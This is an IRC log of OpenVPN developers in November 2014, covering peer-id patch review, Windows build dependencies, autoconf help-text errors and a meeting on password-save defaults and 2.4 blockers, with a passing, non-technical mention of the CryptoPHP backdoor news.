announcement should have UTC as well so anyone not in CET can adjust 02:50 <@cron2> yes 02:51 <@mattock> yeah, having both UTC and CET would make sense 02:51 <@mattock> and keep the CET the same always 02:51 <@cron2> but US doesn't, so for James there will be like two weeks where it's +/- 1 hour different, and then it's back to normal :) - but James said that you're going to remind him anyway, so he' fine 02:51 <@mattock> yeah, I know :) 02:51 <@mattock> I always miss the meetings which are in California time and around the DST change 02:52 <@mattock> it's like 1 week twice a year 02:55 <@mattock> added time and date here also: https://community.openvpn.net/openvpn/wiki/Topics-2014-11-24 02:55 <@vpnHelper> Title: Topics-2014-11-24 – OpenVPN Community (at community.openvpn.net) 03:00 <@mattock> invitation sent 03:12 -!- tbenson [~tbenson@c-50-131-82-204.hsd1.ca.comcast.net] has quit [Quit: tbenson] 03:41 <@mattock> pekster: I recall you had a patch for lzo that you use with openvpn-build 03:41 <@mattock> where is it exactly? I'd like to include a more recent version of lzo in the next openvpn release 03:46 < lev__> Meet peer-id v6. Assert / crash seems to be fixed, nothing from coverity/valgrind (used to be before). 03:47 < lev__> syzzer: if you want to glance on the fix, here is it: https://github.com/stipa/openvpn/commit/78f8e6da9873874cfa3da2c1452543177ac28e40 03:47 <@vpnHelper> Title: Fixed: access outside of bounds of array · 78f8e6d · stipa/openvpn · GitHub (at github.com) 03:50 <@plaisthos> lev__: Wheeee! :) 03:52 <@mattock> here's a snack for somebody: https://community.openvpn.net/openvpn/ticket/373 03:52 <@vpnHelper> Title: #373 (--server-poll-timeout crashes with static key config) – OpenVPN Community (at community.openvpn.net) 03:55 <@syzzer> lev__: cool! changes look sensible to me (saw some of them already yesterday, iirc) 03:55 <@syzzer> I have a busy schedule today, but I'll do a final check soon :) 04:01 <@plaisthos> server-poll-timeout makes no sense with static :) 04:02 <@plaisthos> but yeah it should not crash 04:13 -!- dazo_afk is now known as dazo 06:23 <@mattock> cron2: could you put your netbsd buildbot patch to /home/buildbot/netbsd-t_lpback.sh.patch on the affected buildslave? 06:23 <@mattock> I've configured that particular netbsd builder to copy that file over to the source directory and to patch t_lpback.sh before attempting a build 06:48 <@pekster> mattock: Offhand I only seem to remember disabling snappy since I'm not aware that's supported on Windows (or rather, I didn't want to fight with it.) 06:49 <@mattock> oh 06:49 <@mattock> somebody did add a patch support lzo-2.0.6+, but I've been lazy in adding it to openvpn-build itself 06:49 <@pekster> IIRC I just hardcoded an extra --disable-snappy to the arguments if it was a Windows builds 06:50 <@mattock> yeah, I've disabled both snappy and lz4 06:50 <@mattock> in windows build 06:53 <@dazo> cron2: mattock: syzzer: Reg. last e-mail exchanges ... should we add this patch to release/2.2 as well? We don't have to build it, just update the source tar balls and git trees 06:53 <@dazo> (it applies with just offset fuzz) 06:54 <@dazo> (also possible with 2.1) 06:55 * dazo can help out with the git work 06:55 <@dazo> (and providing tar balls) 07:14 <@mattock> pekster: snappy will actually work on Windows, but it brings with it something like 26 MB of crud, so it makes no sense 07:14 <@mattock> I had snappy-enabled installer available at one point 07:26 <@plaisthos> is lz4 broken too? 08:16 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Ping timeout: 272 seconds] 08:16 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 272 seconds] 08:16 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 08:30 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 08:31 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 08:32 <@mattock> plaisthos: not sure, but I did not want to add an lz4 dependency to the official windows builds 08:37 <@plaisthos> mattock: we have a local copy of lz4 in openvpn 08:37 <@mattock> oh we do 08:37 <@mattock> well, in that case it might make sense to bake it in 08:38 <@cron2> dazo: I put it on my "if I ever do anothre 2.2 release" list of commits 08:38 <@mattock> does it build automatically when openvpn is built and --enable-lz4 is enabled? 08:38 <@dazo> cron2: we could just apply it to the branch, commit it and let it be with that ... then we won't forget it 08:38 <@plaisthos> iirc yes 08:38 <@plaisthos> it will figure out that it has to use its compat version iirc 08:39 <@mattock> I'll need to experiment with that then 08:39 <@dazo> cron2: but I think this is critical enough to at least update the source tar balls ... there are (surprisingly enough) still 2.1 and 2.2 servers out in the world :/ 08:40 <@dazo> (I don't mean we should do a full blown release) 08:41 <@mattock> also, I think we should drop 2.3.2 from the download page now 09:24 <@mattock> pekster: indeed, lzo-2.0.8 builds just fine with openvpn-build 09:24 <@mattock> the problem was the lzo-<something> patch in generic/patches 09:24 <@mattock> which failed to apply 09:25 <@mattock> lzo-2.0.5 did not build at all without that patch, but I guess the lzo guys had fixed the build issue upstream since then 09:30 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Remote host closed the connection] 09:58 <@cron2> mattock: regarding lz4 - you can enable that, it is included in compat/ if configure cannot find it 10:00 <@mattock> cron2: ok 10:00 <@mattock> cron2: in case you missed it... check my netbsd t_lpback.sh fix above 10:00 <@mattock> I need _you_ to do something :) 10:08 <@cron2> dazo: if we "update the source tar balls" it needs to be a release :) - otherwise it will be "is that 2.2.2 with patch or without patch?" - one doesn't do that 10:09 <@cron2> mattock: yeah, saw that, will do as soon as my hickuping network is back to sanity 10:09 <@plaisthos> which patch are you talking about, btw? 10:09 <@cron2> plaisthos: the one we're not talking about yet :) 10:10 <@mattock> cron2: ok, no hurry 10:10 <@dazo> cron2: okay, a slight confusion here ... with full release I meant building binaries ... so I meant do the patching, tagging and version update, but only in source form for those "ancient" releases 10:11 <@dazo> just say that "our 2.1 and 2.2 sources have also been updated" in an announcement 10:12 <@cron2> dazo: while I'm not sure I really want to bother with 2.1 and 2.2 ("upgrade, or backport yourself, it's trivial"), if we do it at all, this approach is ok 10:12 <@cron2> syzzer: you forgot to cc: plaisthos, he'll want to know too :) - I'll forward your mail 10:17 <@plaisthos> cron2: maybe provding a patch-2.1 and patch-2.2 file in the announcment 10:19 <@cron2> ack, this sounds like the least resistance 10:29 -!- kef [~kef@matrix.fullmotion.de] has left #openvpn-devel ["kef"] 10:50 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 10:50 -!- mode/#openvpn-devel [+o raidz_away] by ChanServ 11:55 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 12:28 -!- dazo is now known as dazo_afk 13:05 <@vpnHelper> RSS Update - tickets: #482: Win64 client NDIS6 does not shut down TAP interface clearly upon disconnect <https://community.openvpn.net/openvpn/ticket/482> 14:51 -!- snappy [nipnop@unaffiliated/snappy] has joined #openvpn-devel 15:23 <@plaisthos> cron2, syzzer: thanks 17:20 -!- mattock is now known as mattock_afk 20:00 -!- Netsplit *.net <-> *.split quits: snappy, @andj 20:32 -!- snappy [nipnop@unaffiliated/snappy] has joined #openvpn-devel 20:32 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 20:32 -!- ServerMode/#openvpn-devel [+o andj] by sinisalo.freenode.net 20:32 -!- Netsplit *.net <-> *.split quits: @andj 20:41 -!- Netsplit over, joins: @andj --- Day changed Sat Nov 22 2014 02:40 -!- mattock_afk is now known as mattock 03:47 < lev__> syzzer: did you get a change to do a final check for peer-id ? 03:48 <@syzzer> lev__: no, sorry, busy week 03:49 <@syzzer> but I guess I will find a spare hour somewhere this weekend :) 03:50 < lev__> cool, thanks! 05:07 -!- Netsplit *.net <-> *.split quits: snappy 05:10 -!- Netsplit over, joins: snappy 06:43 * cron2 hates our build system 06:52 <@cron2> lev__: client 12 is online again :) 06:52 <@cron2> (why did I get a peer-id "0"?) 07:10 <@cron2> is there an elegant way (there has to be!) to take a larger patch/commitish and only apply/cherrypick selected hunks of it? like, the original patch changes 10 places, and I want 3 of them in a separate commit 07:16 < lev__> cron2: previous peer 0 connected again at 14-46 and its previous instance got removed, peer0 got freed 07:30 * cron2 is 4 now, your clients are quite busy :) 07:39 <@cron2> hah! 07:39 <@cron2> lev__: can you see the peer-info data that clients send in your log? If yes, have a look at what peer 4 sent you just now :) 07:47 <@plaisthos> cron2: did you do a setenv UV_HELLO "Hallo LEV!"? 07:53 < lev__> cron2: in 10 mins, driving car now 08:05 <@cron2> plaisthos: heh, I could have done that :) - but no, that wasn't it 08:07 < lev__> cron2: I see IV_VER, IV_PLAT, IV_PROTO 08:07 <@cron2> lev__: what do you see in IV_VER? :) 08:08 < lev__> 2.3.5 08:08 < lev__> IV_PLAT freebsd 08:09 <@cron2> right! backported client-side of peer-id to 2.3 and "it works" 08:12 < lev__> I am thinking of adding peer_id to multi_print_status output 08:13 < lev__> but maybe in next patch 08:14 <@cron2> sounds like a useful addition, but can be done independently, right 08:59 < lev__> "reduced version if peer-id" - looks like things are progressing! 10:01 <@cron2> lev__: well, since we all agree that this is the way forward, we just need to iron out the last bugs :) 11:14 < lev__> cron2: client12 is still there 12:08 <@cron2> yep (can't float it right now, unfortunately, host is not set up to do weird nat stuff) 12:09 < lev__> looks like it is pinging all the time (checked bytes in/out now and some time ago) 12:09 <@cron2> yep, ping -i2 running 12:11 -!- tbenson [~tbenson@c-50-131-82-204.hsd1.ca.comcast.net] has joined #openvpn-devel 12:39 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 12:42 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 12:42 -!- mode/#openvpn-devel [+o cron2] by ChanServ 12:42 <@cron2> meh, fiddling with NAT rules and pf state to get client12 to float was not such a good plan 12:46 <@cron2> lev__: it floats! 13:05 < lev__> Untrusted peer 4 wants to float to 195.30.xxx:64158 13:06 < lev__> eer 4 floated from 195.30.xxx:56569 to [AF_INET]195.30.xxx:64158 13:30 <@cron2> yep, got the NAT to play nice with me (and figured out how to delete a single NAT state instead of "all, kill all established TCP sessions") 15:20 -!- mattock is now known as mattock_afk 15:27 -!- tbenson [~tbenson@c-50-131-82-204.hsd1.ca.comcast.net] has quit [Quit: tbenson] 15:30 -!- mattock_afk is now known as mattock 15:48 -!- tbenson [~tbenson@c-50-131-82-204.hsd1.ca.comcast.net] has joined #openvpn-devel 15:50 < lev__> cron2: regarding client-only patch. In options.h "+struct tls_multi;" is not needed. Syzzer mentioned it in a review and I thought I removed it (together with passing tls_multi parameter to push_apply_options, which I indeed removed), but apparently I didn't. 15:51 <@cron2> lev__: it's still in v6, and because I wasn't sure why it was added ("some C compiler complained") I copied it over. But thanks for pointing that out, I'll remove it when merging (or in the next revision, if something else shows up) 16:00 < lev__> Block "@@ -2777,8 +2784,9 @@ tls_pre_decrypt" looks like server-side thing, since client will not get P_DATA_V2 16:29 <@plaisthos> I think the client should also understand P_DATA_V2 16:30 <@plaisthos> If aligning data proves to be much better performance wise 18:38 -!- tbenson [~tbenson@c-50-131-82-204.hsd1.ca.comcast.net] has quit [Quit: tbenson] 19:00 -!- tbenson [~tbenson@c-50-131-82-204.hsd1.ca.comcast.net] has joined #openvpn-devel 23:39 -!- tbenson [~tbenson@c-50-131-82-204.hsd1.ca.comcast.net] has quit [Quit: tbenson] 23:52 -!- tbenson [~tbenson@c-50-131-82-204.hsd1.ca.comcast.net] has joined #openvpn-devel --- Day changed Sun Nov 23 2014 02:51 <@cron2> lev__: that was sort of intentional - if the client signals IV_PROTO=2, I think it should signal "I can send and receive P_DATA_V2 packets", even if the server isn't sending them today 03:23 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 03:40 -!- tbenson [~tbenson@c-50-131-82-204.hsd1.ca.comcast.net] has quit [Quit: tbenson] 05:02 <@vpnHelper> RSS Update - gitrepo: socket: remove duplicate expression <https://github.com/OpenVPN/openvpn/commit/d0ce829fbc2b3656c433e14f2c1c1b3db3b069c7> 05:51 <@cron2> mattock: monday 24 won't work out, monday 1st works for me 07:15 <@vpnHelper> RSS Update - gitrepo: Fix to --shaper documentation on the man-page <https://github.com/OpenVPN/openvpn/commit/245831b9bb096c9139b28612f13609606f105cd5> 07:21 <@cron2> syzzer: what does perf_pop() do? 07:27 <@vpnHelper> RSS Update - gitrepo: polarssl: fix unreachable code <https://github.com/OpenVPN/openvpn/commit/98c5de769d6bcd4822b2fd81ae4f4b05edff5c0e> 07:31 <@syzzer> cron2: it's part of the performance analyzer 07:32 <@syzzer> it pops the results from a 'perf_push()', those should always be symmetric 07:32 <@syzzer> (but all this is disabled in normal builds) 07:32 <@cron2> aha! :-) 07:57 <@syzzer> cron2, lev__: what would a client do with P_DATA_V2 packets? Simply ignore the three bytes? 08:09 -!- novaflash is now known as novaflash_away 08:30 < lev__> syzzer: yeap. In tls_pre_decrypt we just skip those 3 bytes on both server and client. Those are used in multi_get_create_instance (server thing), which is called before tls_pre_decrypt. 08:36 <@syzzer> lev__: ok, so patch looks good. One last nitpick left ;) 09:00 < lev__> syzzer: https://github.com/stipa/openvpn/commit/ca8afae34f74091f1e019ac635269c081ef960cc 09:00 <@vpnHelper> Title: Review fixes · ca8afae · stipa/openvpn · GitHub (at github.com) 09:02 <@syzzer> lev__: nice. I think a few more lines can be removed from the _part1() doxygen. 09:03 <@syzzer> otherwise, I think we're good to go! 09:06 < lev__> syzzer: thanks, done! 09:19 * lev__ has sent v7 (a few nitpics, no logic changes) 09:19 < lev__> cron2: your turn 09:33 <@syzzer> \o/ 10:00 <@plaisthos> I think syzzer needs to ACK first 10:13 * lev__ is waiting for ACK 10:38 <@plaisthos> :) 10:38 <@plaisthos> Then I will have to write a simple connect script that looks if IV_PROTO=2 and then adjusts ping-timer accordingly 10:48 <@syzzer> sorry - had to get groceries 10:56 -!- tbenson [~tbenson@c-50-131-82-204.hsd1.ca.comcast.net] has joined #openvpn-devel 11:02 <@syzzer> oh, lol, my 'modernize sample keys' was just in time: 11:02 <@syzzer> VERIFY ERROR: depth=1, error=certificate has expired: C=KG, ST=NA, L=BISHKEK, O=OpenVPN-TEST, emailAddress=me@myhost.mydomain 11:02 <@syzzer> Not After : Nov 23 14:42:22 2014 GMT 11:08 < lev__> Bishkek, Kyrgiztan? Sounds intriguing 11:09 <@syzzer> yeah, no clue why that is... 11:16 <@syzzer> tests succeeded - ACK on the list! 11:17 <@syzzer> time to prepare dinner, I'll try to check the 2.3/client patch tonight too. 12:11 <@plaisthos> does anyone know if it is possible to set net_gateway to predefined value? 12:12 <@plaisthos> like route-gateway for the vpn gateay --- Log closed Sun Nov 23 12:19:00 2014 --- Log opened Mon Nov 24 06:47:17 2014 06:47 -!- ecrist_ [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 06:47 -!- Irssi: #openvpn-devel: Total of 25 nicks [10 ops, 0 halfops, 3 voices, 12 normal] 06:47 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 06:47 -!- Irssi: Join to #openvpn-devel was synced in 8 secs 06:54 <+krzee> hey cool was looking at the cryptoPHP backdoor and saw that its Fox-IT that released 06:54 <+krzee> who published the whitepaper on it 07:01 <@syzzer> krzee: yeah, our intel-team had some fun with that ;) 07:01 <@syzzer> or, intell-team 07:02 <@syzzer> not to be confused with the processor-guys ;) 07:04 <+krzee> nice =] 07:07 <@ecrist_> link? 07:09 <+krzee> http://thehackernews.com/2014/11/cryptophp-backdoored-cms-plugins-themes.html 07:09 <@vpnHelper> Title: CryptoPHP - Backdoor in Thousands of CMS Plugins & Themes Used to Hijack Web Servers (at thehackernews.com) 07:09 <+krzee> basically its backdoored pirated cms plugins 07:11 <@ecrist_> this is one major reason I will not advocate for the use of a CMS anywhere security is even a minor checkbox on a list of reqs 07:26 <@dazo> ecrist_: similar approaches are possible even with openvpn ... the most "hidden approach" by using a plug-in, but it's possible to also write auth scripts which "calls home" with username, passwords and certificates .... CMS, VPN or whatever you install; wherever security is important, the key point is to be able to do proper code and functionality audit 07:26 <@dazo> it's all about to trick sys-admins or users to "add this cool feature" 07:35 <+krzee> especially if pirated, as the code will never match checksum with the orig code (assuming some sort of cracking was needed) 07:38 <+krzee> i guess i should not say "never" with padding attacks :D 09:16 <+krzee> https://polarssl.org/tech-updates/blog/polarssl-part-of-arm 09:16 <@vpnHelper> Title: PolarSSL is now a part of ARM - Tech Updates (at polarssl.org) 09:21 <+krzee> meetings are mondays now? 09:21 <+krzee> or just today to dodge usa thanksgiving? 09:26 <@syzzer> krzee: nopes, mondays now 09:26 <@syzzer> and yes, seems my ex-collegue (polarssl owner) can buy a new car ;) 09:27 <+krzee> i keep thinking you're part of that project 09:28 <@syzzer> nope, we just use it, partly because of the former collegue ofc... 09:49 -!- You're now known as ecrist 09:56 <@plaisthos> OpenVPN now with ARM techlogies :D 09:59 <@dazo> lev__: kudos on your peer-id patches ... esp. when you added the "changes in" in your commit log! 11:35 <@vpnHelper> RSS Update - tickets: #483: Wiki/Tracker needs proper reverse-DNS for sending email notifications (or SES) <https://community.openvpn.net/openvpn/ticket/483> 11:37 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 11:41 <@cron2> dazo: your rant is appreciated, but misguided :-) - our configure help claims "default is on" while the default really is *off*. So either the documentation or the default needs changing, and that is what Yegor's second comment is all about 11:42 * dazo re-reads his mail 11:43 <@cron2> whether or not we should actually change the default (instead of the documentation) is something bigger than just a patch, which is why I've put it on today's meeting agenda :) 11:43 <@dazo> cron2: --enable-small or --enable-password-save? 11:43 <@cron2> --enable-password-save 11:43 <@dazo> both have [enabe_*="no"] in configure.ac 11:43 <@cron2> definitely no way to do --enable-small by default :) 11:44 <@cron2> yes, and: "@<:@default=yes@:>@]) 11:44 <@cron2> so configure claims "the default is yes" while the real default is "no" 11:45 <@dazo> aahh! 11:45 <@dazo> so the ./configure --help is wrong 11:45 <@cron2> yes! 11:46 <@dazo> ahh, that I didn't catch :) 11:46 <@cron2> (but the first patch actually changes what the default is, while the second bit just points out that the "printed-out-default" is for enable-small is also wrong) 11:46 <@dazo> right ... I'll submit a patch right now 11:47 <@dazo> there are more of those, I see 11:47 <@dazo> --disable-crypto disable crypto support [default=yes] 11:47 <@dazo> unless I misread the output :) 11:48 <@cron2> that also should be "no", right. Or if that is for *all* options, maybe we're misreading it 11:50 <@dazo> Maybe we should just remove the default ... the default should be the opposite of --enable-* or --disable-* 11:50 <@dazo> --enable-* -> off by default, --disable-* -> on by default 11:52 * cron2 has no clue on what is "right" in a configure script 11:52 <@dazo> :) 11:57 <@dazo> cron2: http://fpaste.org/153615/14168518/ ... that's the errors I found 11:58 <@dazo> (only help strings have changed, and one option which was wrong ... --enable-ofb-ocb would actually disable it instead) 11:58 <@dazo> (or ... it might actually not have worked, when I think about it) 12:01 <@cron2> what about --disable-crypto? 12:02 <@dazo> that was me misreading the --help screen 12:03 <@dazo> default=yes means enable_*=yes, and the configure option should be --disable-* 12:03 <@dazo> default=no means enabled_*=no and the configure option should be --enable-* 12:03 <@cron2> ok. So, ACK dat :) (except if we agree in the meeting that we want --enable-password-save to be default) 12:04 <@dazo> okay, I'll send a patch now anyhow 12:16 <@plaisthos> iirc we agreed on that last Munich Hackaton or something like that 12:16 <@plaisthos> but I could be mistaken 12:16 <@cron2> password-save? I can't remember anything but "we do it on the windows builds" - but hey, I've written up everything :) - let's look 12:17 <@dazo> "password" not mentioned at all 12:17 <@plaisthos> okay, then I am probably mistaken 12:17 <@dazo> but we have discussed that a long time ago on either irc meetings or ML 12:17 <@plaisthos> But I do not have a strong opionion about that 12:19 <@dazo> Me neither on a personal level (it's easy enough to build your own openvpn anyhow on non-windows) ... but IIRC, there were concerns about those who expects it to be disabled by default and misses that they now need --disable-password-save 12:20 <@plaisthos> but if you don't use the password-save options both binaries will behave the same ... 12:21 <@dazo> that's true 12:24 * cron2 is off for a few minutes, singing kids to death^Wbed... bbl 12:30 < lev__> peer-id server reporting, uptime 3days 10hrs, about 10 real clients connected, over 4000 floats 12:32 <@plaisthos> sounds good 12:36 < lev__> previous uptime was 2.5 days until I restarted it to update ping intervals 12:37 <@dazo> lev__: how has the memory consumption grown over time? 12:39 < lev__> top says "0.8%". At the beginning it was 0.5 or 0.6 12:39 < lev__> out of 1Gb 12:40 <@dazo> that's bad ... there is some growth over time when clients starts to connect and then it stabilises or decreases slightly some time after clients have disconnected 12:40 <@dazo> that's NOT bad 12:40 <@dazo> gee, my fnigers ;-) 12:40 <@dazo> anyhow, great work lev__!! 12:41 * lev__ dances 12:45 <@andj> evening 12:46 <@dazo> hey, andj! 12:46 <@andj> thought I'd go for a new year's resolution and start visiting more often :) 12:48 <@syzzer> evening! 12:48 <@syzzer> dazo: this autoconf stuff is confusing :/ 12:48 <@dazo> syzzer: yes, it is :) 12:49 <@dazo> syzzer: Each time I play with autotools projects I think: "I wish this was CMake". But each time I play with CMake based projects, I think "I wish this was autotools" ... :-P 12:49 <@syzzer> what does the default mean, in combination with --disable-*? 12:51 <@dazo> notice that this is inside AS_HELP_STRING .... which only _formats_ the --help screen texts ... 12:51 <@syzzer> e.g. "--disable-pf disable internal packet filter [default=yes]", seems to mean that the default is "--enable-pf" 12:51 <@dazo> The AS_HELP_STRING takes 2 arguments ... the option and the help text 12:51 <@dazo> default= should be the same as the enable_*= 12:52 <@syzzer> but that leads to confusing --help output (see above) 12:52 <@dazo> so if default is "yes" ... then it is enabled by default ... and you need to --disable it 12:52 <@dazo> to not enable it 12:52 <@dazo> if the default is "no", then it is disabled by default ... then you need to use --enable to enable it 12:53 <@dazo> did that make sense? 12:53 <@syzzer> but if it says "disable stuff [default=yes]" I would think it is disabled by default... 12:53 <@dazo> yeah ... but "default" should be read as: "enabled by default" 12:53 <@syzzer> yes, I think I understand it, but I think the current defaults in --help are confusing more than anything :p 12:54 <@dazo> I actually think we should remove the "default" texts .... or re-phrase it if we can .... as if it is enabled or disabled is given by --disable-* or --enable-* 12:55 <@syzzer> yes, I think so too. gives us less opportunity to produce inconsistent messages too :p 12:55 <@dazo> but those --enable/--disable helps lines are even more confusing when they're not correct :) 12:55 <@syzzer> uhuh... 12:56 <@syzzer> sorry for that (the ofb/cfb one is most likely my fault) 12:56 <@dazo> typical copy/paste error :) 12:57 <@syzzer> I think I forgot to update properly, since I had it 'disabled by default' until I discovered GOST actually needed these modes 12:57 <@mattock> almost meeting time: https://community.openvpn.net/openvpn/wiki/Topics-2014-11-24 12:57 <@vpnHelper> Title: Topics-2014-11-24 – OpenVPN Community (at community.openvpn.net) 12:59 <@cron2> andj: just in time... or was this "new year resolution for 2015"? :) 13:00 <@andj> the year starts with the openvpn meeting, right? 13:01 <@dazo> Right, the openvpn year :) 13:01 <@mattock> did the year start already? 13:01 <@mattock> ready for the meeting? 13:01 * dazo is ready 13:02 * syzzer too 13:02 <@dazo> james? 13:02 * andj too 13:02 <@syzzer> just to get things started: http://blog.halon.org.uk/2014/11/barbie-the-debian-developer/ 13:02 <@vpnHelper> Title: Barbie the Debian Developer - Liberal Murmurs (at blog.halon.org.uk) 13:04 <@mattock> indeed 13:04 * dazo wonders if syzzer tries to block his systemd patches ..... 13:04 <@mattock> you'll become friends again in about 2 years :P 13:04 <@dazo> hehe 13:04 <@syzzer> hahaha 13:04 <@mattock> ok, so 13:05 <@mattock> "--enable-password-save - drop #ifdef, make always on? change default? Patch from Yegor Yefremov " 13:06 <@andj> haha 13:06 <@syzzer> I don't like the feature, but pragmatically "always on" seems to make sense... 13:06 <@mattock> yeah 13:06 <@dazo> I've been pondering if there has been some misunderstanding from Yegor's mails ... I might have missed that he pointed out that the --help screen said it was enabled by default, while it was disabled in reality ... and he tried to fix this confusion 13:07 <@dazo> but instead of fixing --help, he actually flipped the switch 13:07 <@plaisthos> I was the one suggestion that we also could drop the #ifdef and always enable the feature 13:07 <@dazo> And that would again be NACK from me ... as then --enable needs to be changed to --disable 13:07 <@syzzer> plaisthos: yes, if we enable it by default let's get rid of the #ifdef's too 13:08 <@syzzer> I'll just throw it out hard in OpenVPN-NL ;) 13:08 <@dazo> I'd like to hear what james has to say about this, tbh 13:08 <@plaisthos> do we actually make sure that password are removed/overwritten after using them? 13:08 <@dazo> as it's something which has been configurable since the very beginning 13:09 <@syzzer> someone else must have disliked the feature ;) 13:09 <@dazo> plaisthos: we can't do that ... it's the user which does --auth-user-pass /path/to/my/username+passwrd_file.txt 13:10 <@mattock> isn't having a key/cert without a password as bad as having a password file, provided both have strict permissions? 13:10 <@andj> the key tends to be longer, and isn't sent over the line 13:10 <@dazo> --enable-password-save is only affecting --auth-user-pass 13:11 <@dazo> and what andj said 13:11 <@mattock> andj: ok, fair point 13:11 <@syzzer> andj: this can also be used to provide the private key password 13:11 <@dazo> but keys themselves are used for the encryption ... certificates are used for authentication, just as username/passwords ... and certs are by def. public 13:12 <@andj> but indeed, the option means something else :) 13:13 <@dazo> (however, you can't use a cert with openvpn with the wrong key, so they are coupled) 13:14 <@andj> we're talking about two different types of key here, I think 13:14 <@andj> there's the static key, and the private key 13:15 <@dazo> right ... and neither of them are related to --enable-password-save 13:15 <@andj> learnt somthing today, thought it was also used for private keys 13:15 <@plaisthos> btw. auth-user-pass caches password by default unless you also specify auth-nocache 13:16 <@andj> and static keys 13:16 <@plaisthos> enable-password-save only affects the ability to specify a file-name after auth-user-pass 13:17 <@syzzer> yeah, which is actually different from what ./configure --help claims: "--enable-password-save allow --askpass and --auth-user-pass passwords to be path to systemd-ask-password utility" 13:18 <@andj> in that case, I agree with syzzer, just get rid of the option, and enable it 13:18 <@dazo> btw ... if we decide to remove any #ifdefs ... only one single #ifdef ENABLE_PASSWORD_SAVE exists in the code 13:19 <@mattock> so no major code cleanups then :P 13:19 <@dazo> nope :) 13:19 <@mattock> I was getting hopeful 13:19 <@andj> one down, couple'o'thousand to go 13:19 <@mattock> ok, so enable it by default, remove #ifdef 13:19 <@mattock> next topic? 13:20 <@cron2> mattock: you want to finish by 20:30 today? 13:20 <@mattock> if I can, yes :) 13:20 <@plaisthos> We could do more useless ifdefs :D 13:20 <@cron2> well, the next topic is "peer-id patch" 13:20 <@mattock> #2 "peer-id v7 / peer-id client-only v2 " 13:20 <@mattock> two parts: anyone else wants to review before commiting? 13:20 <@cron2> i put it on the agenda because I want to be sure that "we all" agree that it goes in now - syzzer has reviewed, but I'd like to hear James opinion 13:21 <@cron2> (it has been tested, it has been reviewed, we agree on the principle, so we're nearly there - but it is *big* and should be done right) 13:21 <@plaisthos> I looked at both patches, did not find anything wrong, but haven't done a proper enough look to say "ACK" 13:21 <@plaisthos> so go from me :0 13:21 <@dazo> So the patch from cron2 complements the patch from lev__? 13:21 <@plaisthos> yes 13:21 < lev__> both - second one is client only ? 13:21 <@cron2> dazo: my patch is "client side only" 13:21 <@plaisthos> what lev__ said 13:21 <@dazo> and the first is server only? 13:22 <@cron2> no, lev__'s is "all of it" 13:22 <@cron2> my patch is about 1/3 of the changes from lev__ for 2.3, while lev__'s is the full thing for 2.4 13:22 <@dazo> ehm ... why do we need the second patch if the first patch has everything? 13:22 <@cron2> so a 2.3 client can float, while a 2.3 *server* will not get that 13:22 <@dazo> aaahh 13:22 <@cron2> because the patch is far too intrusive to go into 2.3 :) 13:22 <@dazo> :) 13:23 <@mattock> no words from james (mailed him 10 mins ago) 13:23 <@plaisthos> and since we probably will have another 2.3 release ... 13:23 <@dazo> so the cron2's patch goes into release/2.3 ... while lev__'s goes into master ... right? 13:23 <@cron2> client-side stuff is fairly contained - a new option here, a new IV_ value there, and "in the critical path", it only has very few lines of easy code 13:23 <@cron2> yes 13:23 <@dazo> ACK to the approach! 13:23 <@cron2> server-side touches all the hardcore multi stuff :-) (congrats to lev__ for this, anyway) 13:23 <@cron2> mattock: any word from James? 13:25 <@mattock> no (see ^^^) 13:25 <@dazo> As the patch has been reviewed by cron2 and syzzer, and james was involved in the discussions ... I think we can pull it in unless james disagrees within a few days 13:25 <@mattock> agreed 13:25 <@andj> nice! good news for mobile users :) 13:25 <@cron2> yeah, I'll just mail james a reminder "we think this is good, do you want to wait for us and review?" 13:26 <@mattock> cron2: thanks! 13:26 < lev__> so, is it going to master now? 13:26 <@andj> yes, unless James gives a nack in the next few days 13:27 <@dazo> lev__: version 6 is golden :) 13:27 <@cron2> lev__: I'd like to give James the chance to comment 13:27 <@dazo> you can do another dance, lev__ ;-) 13:27 <@cron2> dazo: we're at v7 :) 13:27 <@dazo> oh, sorry! 13:27 <@andj> haha 13:28 <@cron2> mailed james 13:28 < lev__> v7 is basically v6 with minor code reorganizing 13:29 <@dazo> lev__: anyhow, v7 is what counts for us :) 13:29 <@andj> next topic? 13:29 <@cron2> mattock's 13:30 <@mattock> not really mine, but "OpenVPN 2.4" 13:30 <@mattock> basically I put that on the agenda so that we can discuss what's missing 13:30 <@mattock> _still_ missing 13:31 <@andj> haven't had much time to look at the CRL patch 13:31 <@dazo> do we have a summary of the blockers for 2.4 from hackathon? 13:31 <@mattock> dazo: possibly 13:31 <@cron2> dazo: in the hackathon page on the wiki 13:31 <@dazo> duh! 13:31 <@syzzer> an easy one (I think): http://sourceforge.net/p/openvpn/mailman/message/32945354/ 13:31 <@vpnHelper> Title: OpenVPN / Mailing Lists (at sourceforge.net) 13:31 <@mattock> https://community.openvpn.net/openvpn/wiki/MunichHackathon2014 13:31 <@vpnHelper> Title: MunichHackathon2014 – OpenVPN Community (at community.openvpn.net) 13:32 <@dazo> syzzer: for normal people, anything SSL/TLS usually isn't defined as "easy" ;-) 13:32 <@cron2> syzzer: amazing that you can always remember your old stuff :) 13:33 <@mattock> maybe syzzer uses some advanced system, like Post-It notes? :P 13:33 <@syzzer> cron2: git log ;) 13:34 < lev__> about 2.4, I think we agreed that someone will ask Fabian to resend async-connect patch with fixed whitespaces 13:34 <@mattock> I think we did decide that 13:34 <@cron2> syzzer: I'm not sure if anyone of us understands the intricacies of not calling tls_ctx_load_dh_params()... 13:35 <@dazo> lev__: I probably have misunderstood, but I thought you would 